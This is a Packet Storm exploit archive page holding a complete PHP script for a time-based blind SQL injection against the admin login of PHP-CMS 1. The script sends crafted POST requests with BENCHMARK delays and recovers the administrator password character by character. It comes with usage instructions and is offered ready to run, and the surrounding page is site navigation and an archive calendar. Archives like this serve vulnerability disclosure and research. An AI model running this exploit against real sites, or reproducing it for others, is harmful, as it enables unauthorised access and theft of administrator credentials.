what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

PHP-CMS 1 Blind SQL Injection Exploit

PHP-CMS 1 Blind SQL Injection Exploit
Posted Jan 27, 2009
Authored by darkjoker | Site darkjokerside.altervista.org

PHP-CMS 1 remote blind SQL injection exploit.

tags | exploit, remote, php, sql injection
SHA-256 | afded64fc3f323cac0c8c1270b3e3adb5376506bc912052c970fdfc45b7a1ae8

PHP-CMS 1 Blind SQL Injection Exploit

Change Mirror Download
--+++===================================================+++--
--+++====== PHP-CMS 1 Blind SQL Injection Exploit ======+++--
--+++===================================================+++--

<?php

function query ($user, $pos, $chr)
{
$query = "x' OR IF((ASCII(SUBSTRING((SELECT password FROM ".
"admin WHERE username='{$user}'),{$pos},1))={$chr}),BENCHMARK".
"(100000000,CHAR(0)),0) OR '1' = '2";

return $query;
}

function exploit ($hostname, $path, $user, $pos, $chr)
{
$chr = ord ($chr);

$fp = fsockopen ($hostname, 80);

$post = "username=".query ($user, $pos, $chr) . "&password=x&Submit=ok";

$req = "POST {$path}/admin/login.php HTTP/1.1\r\n".
"Host: {$hostname}\r\n".
"Connection: Close\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Content-Length: " . strlen ($post) . "\r\n\r\n".
$post;

fputs ($fp, $req);

$start = time ();
while (!feof ($fp))
fgets ($fp, 1024);

$end = time ();

fclose ($fp);

if ($end - $start > 4)
return true;
else
return false;

}

function usage ()
{
echo
"\nPHP-CMS 1 Blind SQL Injection Exploit".
"\n[+] Author : darkjoker".
"\n[+] Site : http://darkjoker.net23.net".
"\n[+] Download: http://heanet.dl.sourceforge.net/sourceforge/php-cms-project/phpcms.zip".
"\n[+] Usage : php xpl.php <hostname> <path> <username> [<keylist>]".
"\n[+] Ex. : php xpl.php localhost /PHPCMS admin abcdefghijklmnopqrstuvwxyz".
"\n[+] Greetz : my girlfriend, Vivi".
"\n\n";
exit ();
}



if ($argc < 3)
usage ();

$hostname = $argv [1];
$path = $argv [2];
$user = $argv [3];
$key = (empty ($argv [4])) ? "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" : $argv [4];
$pos = 1;
$chr = 0;

echo "[+] Password: ";
while ($chr < strlen ($key))
{
if (exploit ($hostname, $path, $user, $pos, $key [$chr]))
{
echo $key [$chr];
$chr = 0;
$pos++;
}
else
$chr++;
}

echo "\n\n";

?>

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close